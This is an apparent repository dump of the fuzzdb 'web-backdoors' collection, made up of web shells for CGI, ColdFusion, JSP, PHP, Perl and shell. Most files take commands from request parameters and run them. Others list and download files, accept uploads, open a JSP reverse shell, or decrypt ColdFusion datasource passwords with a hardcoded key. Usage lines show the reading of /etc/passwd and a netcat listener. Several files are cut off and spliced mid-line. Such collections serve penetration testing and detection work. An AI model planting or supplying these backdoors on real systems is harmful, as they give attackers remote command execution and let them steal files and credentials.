\n");
53 |
54 | cmd=(char *)getenv("QUERY_STRING");
55 |
56 | if(!cmd || strlen(cmd)==0) {
57 | printf("
");
61 | } else {
62 | //printf("QUERY_STRING: %s\n", cmd);
63 | cmd+=4;
64 | cmd=uri_decode(cmd);
65 | printf("COMMAND: %s
\n", cmd);
66 | fflush(stdout);
67 | execl("/bin/sh", "/bin/sh", "-c", cmd, 0);
68 | }
69 |
70 | }
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/cfm/cfExec.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Notes:
8 | For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is For Windows options are the command you want to run "dir" "type" etc
10 |
11 |
12 |
13 |
14 |
24 |
28 |
29 |
32 |
33 |
34 |
35 | #HTMLCodeFormat(myVar)#
36 |
37 |
38 |
39 |
40 | //The following code borrowed from hernanOchoa @hexale (thx)
41 | //added better formatting on output and connection string [lb]
42 |
43 | // Create Data Source Object
44 | dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
45 | getDatasourceService().getDatasources();
46 | writeoutput("Datasource Credentials: ");
48 | // Loop Through DataSources
49 | for(i in dataSourceObb) {
50 | if(len(dataSourceObb[i]["password"])){
51 |
52 | // Get url
53 | theurl=(dataSourceObb[i]["url"]);
54 |
55 | // Get username
56 | username=(dataSourceObb[i]["username"]);
57 |
58 | // Get and decrypt password
59 | decryptPassword=Decrypt(dataSourceObb[i]["password"],
60 | generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
61 | "Base64");
62 |
63 | // Output datasource usernames, passwords, and urls
64 | writeoutput("" &
65 | "DataSource: " & i & " " &
66 | "Username: " & username & " " &
67 | "Password: " & decryptPassword &
68 | " URL: " & theurl & "
73 |
74 |
75 |
76 |
77 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/cfm/cfSQL.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | Notes:
10 |
11 | Select the database you want to use
12 | Write SQL statements in the text box
13 |
14 |
15 |
34 |
35 |
36 |
37 | #Form.sql#
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | #column#
49 |
50 |
51 |
52 |
53 | #runsql[column][row]#
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/cfm/cmd.cfm:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
20 |
24 |
25 |
26 |
27 |
28 | #myVar#
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/exe/nc.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ihebski/angryFuzzer/d6673c3b8cb9e6a5455de3715cf3ff57fce88163/fuzzdb/web-backdoors/exe/nc.exe
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/CmdServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ihebski/angryFuzzer/d6673c3b8cb9e6a5455de3715cf3ff57fce88163/fuzzdb/web-backdoors/jsp/CmdServlet.class
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/CmdServlet.java:
--------------------------------------------------------------------------------
1 | /*
2 | * CmdServlet.java 20/01/2004
3 | *
4 | * @author The Dark Raver
5 | * @version 0.1
6 | */
7 |
8 | import java.io.*;
9 | import javax.servlet.*;
10 | import javax.servlet.http.*;
11 |
12 |
13 | public class CmdServlet extends HttpServlet {
14 |
15 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
16 | res.setContentType("text/html");
17 |
18 | PrintWriter out = res.getWriter();
19 | out.print("");
20 | out.print("
");
24 |
25 | if(req.getParameter("cmd") != null) {
26 | out.print("\nCommand: " + req.getParameter("cmd") + "\n
\n");
27 | Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd"));
28 | DataInputStream procIn = new DataInputStream(p.getInputStream());
29 | int c='\0';
30 | while ((c=procIn.read()) != -1) {
31 | out.print((char)c);
32 | }
33 | }
34 |
35 | out.print("\n ");
36 | out.print("");
37 | }
38 |
39 | public String getServletInfo() {
40 | return "CmdServlet 0.1";
41 | }
42 |
43 | }
44 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/ListServlet.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ihebski/angryFuzzer/d6673c3b8cb9e6a5455de3715cf3ff57fce88163/fuzzdb/web-backdoors/jsp/ListServlet.class
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/ListServlet.java:
--------------------------------------------------------------------------------
1 | /*
2 | * ListServlet.java
3 | *
4 | * @author Sierra
5 | * @version 0.1
6 | */
7 |
8 | import java.io.*;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.http.*;
11 |
12 | public class ListServlet extends HttpServlet
13 | {
14 |
15 |
16 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
17 | PrintWriter printwriter = res.getWriter();
18 | String path = req.getParameter("file");
19 |
20 | printwriter.write("\n\nDirectory Listing \n\n\n");
21 | printwriter.write("\n");
22 | if(req.getParameter("file")==null) path = "c:\\";
23 | printwriter.write("Path: " + path + " \n");
24 |
25 | File file = new File(path);
26 |
27 | if(file.isDirectory())
28 | {
29 | String s = new String("Unknown");
30 | String s2 = new String("Black");
31 | File afile[] = file.listFiles();
32 | for(int i = 0; i < afile.length; i++)
33 | {
34 | String s1 = new String(afile[i].toString());
35 | printwriter.write("(");
36 | String s3;
37 | if(afile[i].isDirectory())
38 | {
39 | printwriter.write("d");
40 | s1 = s1 + "/";
41 | s3 = new String("Blue");
42 | } else
43 | if(afile[i].isFile())
44 | {
45 | printwriter.write("-");
46 | s3 = new String("Green");
47 | } else
48 | {
49 | printwriter.write("?");
50 | s3 = new String("Red");
51 | }
52 | if(afile[i].canRead())
53 | printwriter.write("r");
54 | else
55 | printwriter.write("-");
56 | if(afile[i].canWrite())
57 | printwriter.write("w");
58 | else
59 | printwriter.write("-");
60 | printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes ) ");
64 | } else
65 | if(file.canRead())
66 | {
67 | FileInputStream fileinputstream = new FileInputStream(file);
68 | int j = 0;
69 | while(j >= 0)
70 | {
71 | j = fileinputstream.read();
72 | printwriter.write(j);
73 | }
74 | fileinputstream.close();
75 | } else
76 | {
77 | printwriter.write("Can't Read file");
37 |
38 | while((c=post.read()) != -1 && c != '\r' && c != '\n') {
39 | tag=tag.concat("" + (char)c);
40 | contador++;
41 | }
42 |
43 | for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++;
44 |
45 | // out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n");
46 | // out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>");
47 |
48 | // (!) Uploaded File Name
49 |
50 | File newfile = new File("c:\\install.log");
51 |
52 | /////////////////////////
53 |
54 | FileOutputStream fileout = new FileOutputStream(newfile);
55 |
56 | for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) {
57 | c=post.read();
58 | fileout.write((char)c);
59 | }
60 |
61 | fileout.close();
62 | out.print("<== OK");
63 |
64 | }
65 |
66 |
67 | public String getServletInfo() {
68 | return "UpServlet 0.1";
69 | }
70 |
71 | }
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*"%>
2 | <%
3 | //
4 | // JSP_KIT
5 | //
6 | // cmd.jsp = Command Execution (unix)
7 | //
8 | // by: Unknown
9 | // modified: 27/06/2003
10 | //
11 | %>
12 |
13 |
17 |
18 | <%
19 | if (request.getParameter("cmd") != null) {
20 | out.println("Command: " + request.getParameter("cmd") + "
33 |
34 |
35 |
36 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/cmdjsp.jsp:
--------------------------------------------------------------------------------
1 | // note that linux = cmd and windows = "cmd.exe /c + cmd"
2 |
3 |
7 |
8 | <%@ page import="java.io.*" %>
9 | <%
10 | String cmd = request.getParameter("cmd");
11 | String output = "";
12 |
13 | if(cmd != null) {
14 | String s = null;
15 | try {
16 | Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
17 | BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
18 | while((s = sI.readLine()) != null) {
19 | output += s;
20 | }
21 | }
22 | catch(IOException e) {
23 | e.printStackTrace();
24 | }
25 | }
26 | %>
27 |
28 |
29 | <%=output %>
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/jsp-reverse.jsp:
--------------------------------------------------------------------------------
1 | // backdoor.jsp
2 | // http://www.security.org.sg/code/jspreverse.html
3 |
4 | <%@
5 | page import="java.lang.*, java.util.*, java.io.*, java.net.*"
6 | % >
7 | <%!
8 | static class StreamConnector extends Thread
9 | {
10 | InputStream is;
11 | OutputStream os;
12 |
13 | StreamConnector(InputStream is, OutputStream os)
14 | {
15 | this.is = is;
16 | this.os = os;
17 | }
18 |
19 | public void run()
20 | {
21 | BufferedReader isr = null;
22 | BufferedWriter osw = null;
23 |
24 | try
25 | {
26 | isr = new BufferedReader(new InputStreamReader(is));
27 | osw = new BufferedWriter(new OutputStreamWriter(os));
28 |
29 | char buffer[] = new char[8192];
30 | int lenRead;
31 |
32 | while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
33 | {
34 | osw.write(buffer, 0, lenRead);
35 | osw.flush();
36 | }
37 | }
38 | catch (Exception ioe)
39 |
40 | try
41 | {
42 | if(isr != null) isr.close();
43 | if(osw != null) osw.close();
44 | }
45 | catch (Exception ioe)
46 | }
47 | }
48 | %>
49 |
50 | JSP Backdoor Reverse Shell
51 |
52 |
59 |
60 |
7 |
8 | Command
9 | /cmd.jsp
10 |
11 |
12 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/laudanum/warfiles/cmd.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*"%>
2 | <%
3 |
4 | if (request.getRemoteAddr() != "4.4.4.4") {
5 | response.sendError(HttpServletResponse.SC_NOT_FOUND)
6 | return;
7 | }
8 |
9 | %>
10 |
11 | Laudanum JSP Shell
12 |
13 | Commands with JSP
14 |
19 |
20 | <%
21 | if (request.getParameter("cmd") != null) {
22 | out.println("Command: " + request.getParameter("cmd") + "
35 |
37 | Copyright © 2014, Kevin Johnson and the Laudanum team.laudanum.secureideas.net .
40 |
41 |
42 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/jsp/list.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="java.util.*,java.io.*"%>
2 | <%
3 | //
4 | // JSP_KIT
5 | //
6 | // list.jsp = Directory & File View
7 | //
8 | // by: Sierra
9 | // modified: 27/06/2003
10 | //
11 | %>
12 | <%
13 | if(request.getParameter("file")==null) {
14 | %>
15 |
16 |
20 | <%
21 | }
22 | %>
23 | <% //read the file name.
24 | try {
25 | File f = new File(request.getParameter("file"));
26 | if(f.isDirectory()) {
27 | int i;
28 | String fname = new String("Unknown");
29 | String fcolor = new String("Black");
30 | %>
31 |
32 |
33 | <%
34 | out.print("Path: " + f.toString() + " " + fname.toString() + " " + "( Size: " + flist[i].length() + " bytes)
56 | <%
57 |
58 | } else {
59 | if(f.canRead() == true) {
60 | InputStream in = new FileInputStream(f);
61 | ServletOutputStream outs = response.getOutputStream();
62 | int left = 0;
63 | try {
64 | while((left) >= 0 ) {
65 | left = in.read();
66 | outs.write(left);
67 | }
68 | } catch(IOException ex) {ex.printStackTrace();}
69 | outs.flush();
70 | outs.close();
71 | in.close();
72 | } else {
73 | out.print("Can't Read file
18 | <%
19 | if (request.getParameter("cmd") != null) {
20 | out.println("Command: " + request.getParameter("cmd") + "\n
31 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/php/cmd.php:
--------------------------------------------------------------------------------
1 |
11 |
12 |
16 |
17 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/php/list.php:
--------------------------------------------------------------------------------
1 |
11 |
12 | " . $filename . "";
27 | $fp = fopen($fichero, "r");
28 | $buffer = fread($fp, filesize($fichero));
29 | echo $buffer;
30 | fclose($fp);
31 | }
32 |
33 | ?>
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/php/simple-backdoor.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | ";
7 | $cmd = ($_REQUEST['cmd']);
8 | system($cmd);
9 | echo " ";
10 | die;
11 | }
12 |
13 | ?>
14 |
15 | Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
16 |
17 |
18 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/php/tiny.php:
--------------------------------------------------------------------------------
1 |
6 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/php/up.php:
--------------------------------------------------------------------------------
1 |
11 |
12 |
13 |
14 | ';
31 |
32 | if(defined $FORM{'cmd'}) {
33 | print "Results of '$cmd' execution:\n\n";
34 | print "-"x80;
35 | print "\n";
36 |
37 | open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
38 |
39 | while() {
40 | print;
41 | }
42 |
43 | close(CMD);
44 | print "-"x80;
45 | print "\n";
46 | }
47 |
48 | print " ";
49 |
50 | sub parse_parameters ($) {
51 | my %ret;
52 |
53 | my $input = shift;
54 |
55 | foreach my $pair (split('&', $input)) {
56 | my ($var, $value) = split('=', $pair, 2);
57 |
58 | if($var) {
59 | $value =~ s/\+/ /g ;
60 | $value =~ s/%(..)/pack('c',hex($1))/eg;
61 |
62 | $ret{$var} = $value;
63 | }
64 | }
65 |
66 | return %ret;
67 | }
68 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/pl-cgi/list.pl:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl
2 | #
3 | # PerlKit-0.1 - http://www.t0s.org
4 | #
5 | # browse.pl: Browse and download files from a webserver
6 |
7 | use strict;
8 |
9 | my ($path, %FORM);
10 |
11 | $|=1;
12 |
13 |
14 | # Get parameters
15 |
16 | %FORM = parse_parameters($ENV{'QUERY_STRING'});
17 |
18 | if(defined $FORM{'path'}) {
19 | $path = $FORM{'path'};
20 |
21 |
22 | } else {
23 | $path = "/";
24 | }
25 |
26 | if(-f $path) { # Download selected file
27 | print "Content-Type: application/octet-stream\r\n";
28 | print "\r\n";
29 | open(FILE, "< $path") || print "Could not open file\n";
30 |
31 | while() {
32 | print;
33 | }
34 |
35 | close(FILE);
36 | exit;
37 | }
38 |
39 | print "Content-Type: text/html\r\n";
40 | print "\r\n";
41 |
42 | print '
43 |
44 |
48 | Directory ' . $path . ' contents:
49 |
50 |
51 | ';
52 |
53 | if(defined $FORM{'path'}) {
54 |
55 | opendir(DIR, $path) || print "Could not open directory";
56 |
57 | foreach (sort(readdir(DIR))) {
58 | print get_fileinfo($path, $_). "\n";
59 | }
60 |
61 | closedir(DIR);
62 |
63 | }
64 |
65 | print "
";
66 |
67 | sub parse_parameters ($) {
68 | my %ret;
69 |
70 | my $input = shift;
71 |
72 | foreach my $pair (split('&', $input)) {
73 | my ($var, $value) = split('=', $pair, 2);
74 |
75 | if($var) {
76 | $value =~ s/\+/ /g ;
77 | $value =~ s/%(..)/pack('c',hex($1))/eg;
78 |
79 | $ret{$var} = $value;
80 | }
81 | }
82 |
83 | return %ret;
84 | }
85 |
86 | sub get_fileinfo ($$) {
87 | my $ret;
88 |
89 | my ($dir,$filename) = @_;
90 | my $file = $dir . "/" . $filename;
91 |
92 | $file=~s/\/+/\//g;
93 |
94 | $ret = "
";
95 |
96 | $ret .= "";
97 |
98 | if(-d $file) {
99 | $file=~s/\/[^\/]+\/\.\./\//g;
100 | $ret .= "$filename ";
101 | } else {
102 | $ret .= "$filename [D] " ;
103 | }
104 | $ret .= " ";
105 |
106 | my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat($file);
107 |
108 | $ret .= " ";
109 | $ret .= "$size ";
110 | $ret .= "". getpwuid($uid) ." ";
111 | $ret .= "". getgrgid($gid) ." ";
112 |
113 | $ret .= " ";
114 |
115 | return $ret;
116 | }
117 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/pl-cgi/perlcmd.cgi:
--------------------------------------------------------------------------------
1 | #!/usr/bin/perl -w
2 |
3 | use strict;
4 |
5 | print "Cache-Control: no-cache\n";
6 | print "Content-type: text/html\n\n";
7 |
8 | my $req = $ENV{QUERY_STRING};
9 | chomp ($req);
10 | $req =~ s/%20/ /g;
11 | $req =~ s/%3b/;/g;
12 |
13 | print "";
14 |
15 | print '';
16 |
17 | if (!$req) {
18 | print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd";
19 | }
20 | else {
21 | print "Executing: $req";
22 | }
23 |
24 | print "";
25 | my @cmd = `$req`;
26 | print " ";
27 |
28 | foreach my $line (@cmd) {
29 | print $line . "
");
24 |
25 | if(req.getParameter("cmd") != null) {
26 | out.print("\nCommand: " + req.getParameter("cmd") + "\n
\n");
27 | Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd"));
28 | DataInputStream procIn = new DataInputStream(p.getInputStream());
29 | int c='\0';
30 | while ((c=procIn.read()) != -1) {
31 | out.print((char)c);
32 | }
33 | }
34 |
35 | out.print("\n ");
36 | out.print("");
37 | }
38 |
39 | public String getServletInfo() {
40 | return "CmdServlet 0.1";
41 | }
42 |
43 | }
44 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/servlet/ListServlet.java:
--------------------------------------------------------------------------------
1 | /*
2 | * ListServlet.java
3 | *
4 | * @author Sierra
5 | * @version 0.1
6 | */
7 |
8 | import java.io.*;
9 | import javax.servlet.ServletException;
10 | import javax.servlet.http.*;
11 |
12 | public class ListServlet extends HttpServlet
13 | {
14 |
15 |
16 | public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
17 | PrintWriter printwriter = res.getWriter();
18 | String path = req.getParameter("file");
19 |
20 | printwriter.write("\n\nDirectory Listing \n\n\n");
21 | printwriter.write("\n");
22 | if(req.getParameter("file")==null) path = "c:\\";
23 | printwriter.write("Path: " + path + " \n");
24 |
25 | File file = new File(path);
26 |
27 | if(file.isDirectory())
28 | {
29 | String s = new String("Unknown");
30 | String s2 = new String("Black");
31 | File afile[] = file.listFiles();
32 | for(int i = 0; i < afile.length; i++)
33 | {
34 | String s1 = new String(afile[i].toString());
35 | printwriter.write("(");
36 | String s3;
37 | if(afile[i].isDirectory())
38 | {
39 | printwriter.write("d");
40 | s1 = s1 + "/";
41 | s3 = new String("Blue");
42 | } else
43 | if(afile[i].isFile())
44 | {
45 | printwriter.write("-");
46 | s3 = new String("Green");
47 | } else
48 | {
49 | printwriter.write("?");
50 | s3 = new String("Red");
51 | }
52 | if(afile[i].canRead())
53 | printwriter.write("r");
54 | else
55 | printwriter.write("-");
56 | if(afile[i].canWrite())
57 | printwriter.write("w");
58 | else
59 | printwriter.write("-");
60 | printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes ) ");
64 | } else
65 | if(file.canRead())
66 | {
67 | FileInputStream fileinputstream = new FileInputStream(file);
68 | int j = 0;
69 | while(j >= 0)
70 | {
71 | j = fileinputstream.read();
72 | printwriter.write(j);
73 | }
74 | fileinputstream.close();
75 | } else
76 | {
77 | printwriter.write("Can't Read file");
37 |
38 | while((c=post.read()) != -1 && c != '\r' && c != '\n') {
39 | tag=tag.concat("" + (char)c);
40 | contador++;
41 | }
42 |
43 | for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++;
44 |
45 | // out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n");
46 | // out.print("CONTADOR = " + contador + " / FILE_LEN = " + (req.getContentLength() - tag.length() - contador - 11) + " ==>");
47 |
48 | // (!) Uploaded File Name
49 |
50 | File newfile = new File("c:\\install.log");
51 |
52 | /////////////////////////
53 |
54 | FileOutputStream fileout = new FileOutputStream(newfile);
55 |
56 | for(int i=0; i < req.getContentLength() - tag.length() - contador - 11; i++) {
57 | c=post.read();
58 | fileout.write((char)c);
59 | }
60 |
61 | fileout.close();
62 | out.print("<== OK");
63 |
64 | }
65 |
66 |
67 | public String getServletInfo() {
68 | return "UpServlet 0.1";
69 | }
70 |
71 | }
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/sh/cmd.sh:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ihebski/angryFuzzer/d6673c3b8cb9e6a5455de3715cf3ff57fce88163/fuzzdb/web-backdoors/sh/cmd.sh
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/sh/list.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # SH_KIT
4 | #
5 | # list.sh = Directory & File Listing
6 | #
7 | # by: The Dark Raver
8 | # modified: 16/12/2005
9 | #
10 |
11 | echo Content-Type: text/html
12 | echo
13 |
14 | if [ "$QUERY_STRING" != "" ]
15 | then
16 | echo PATH: $QUERY_STRING ""
31 | cat $QUERY_STRING
32 | else
33 | if [ "$root" != "1" ]
34 | then
35 | echo "( ) ".." "$i" "$i" "
41 | cat /tmp/upload
42 | echo " "
43 |
44 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/wordpress/templates/README.md:
--------------------------------------------------------------------------------
1 | .
2 |
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/wordpress/templates/ipcheck.php:
--------------------------------------------------------------------------------
1 |
14 | ***
15 | *** Copyright 2014 by Kevin Johnson and the Laudanum Team
16 | ***
17 | ********************************************************************************
18 | ***
19 | *** This file provides a rudamentary IP filter to help prevent usage of Laudanum tools
20 | *** by someone other than the person who uploaded Laudanum. This file should be included
21 | *** in other Laudanum tools and not called directly.
22 | *** Written by Jason Gillam
23 | ***
24 | ********************************************************************************
25 | *** This program is free software; you can redistribute it and/or
26 | *** modify it under the terms of the GNU General Public License
27 | *** as published by the Free Software Foundation; either version 2
28 | *** of the License, or (at your option) any later version.
29 | ***
30 | *** This program is distributed in the hope that it will be useful,
31 | *** but WITHOUT ANY WARRANTY; without even the implied warranty of
32 | *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
33 | *** GNU General Public License for more details.
34 | ***
35 | *** You can get a copy of the GNU General Public License from this
36 | *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
37 | *** You can also write to the Free Software Foundation, Inc., 59 Temple
38 | *** Place - Suite 330, Boston, MA 02111-1307, USA.
39 | ***
40 | ***************************************************************************** */
41 |
42 |
43 | // ***************** Config entries below ***********************
44 | // IPs are enterable as individual addresses TODO: add CIDR support
45 | $wpl_allowedIPs = array("192.168.0.2", "127.0.0.1", "172.16.179.1");
46 |
47 |
48 | # *********** No editable content below this line **************
49 |
50 | $wpl_allowed = 0;
51 | foreach ($wpl_allowedIPs as $IP) {
52 | if ($_SERVER["REMOTE_ADDR"] == $IP)
53 | $wpl_allowed = 1;
54 | }
55 |
56 | if ($wpl_allowed == 0) {
57 | header("HTTP/1.0 404 Not Found");
58 | die();
59 | }
60 |
61 | ?>
--------------------------------------------------------------------------------
/fuzzdb/web-backdoors/wordpress/templates/settings.php:
--------------------------------------------------------------------------------
1 |
13 | *** Tim Medin
14 | ***
15 | *** Copyright 2014 by Kevin Johnson and the Laudanum Team
16 | ***
17 | ********************************************************************************
18 | ***
19 | *** This file provides a convenient menu of Laudanum tools from a Word Press settings
20 | *** page.
21 | ***
22 | *** Written by Jason Gillam
23 | ***
24 | ********************************************************************************
25 | *** This program is free software; you can redistribute it and/or
26 | *** modify it under the terms of the GNU General Public License
27 | *** as published by the Free Software Foundation; either version 2
28 | *** of the License, or (at your option) any later version.
29 | ***
30 | *** This program is distributed in the hope that it will be useful,
31 | *** but WITHOUT ANY WARRANTY; without even the implied warranty of
32 | *** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
33 | *** GNU General Public License for more details.
34 | ***
35 | *** You can get a copy of the GNU General Public License from this
36 | *** address: http://www.gnu.org/copyleft/gpl.html#SEC1
37 | *** You can also write to the Free Software Foundation, Inc., 59 Temple
38 | *** Place - Suite 330, Boston, MA 02111-1307, USA.
39 | ***
40 | ***************************************************************************** */
41 | ?>
42 |
43 |
44 |
45 |
Laudanum Tools
46 |
65 | * for reverse shell, use netcat to listen, e.g. "nc -v -n -l 8888"
66 |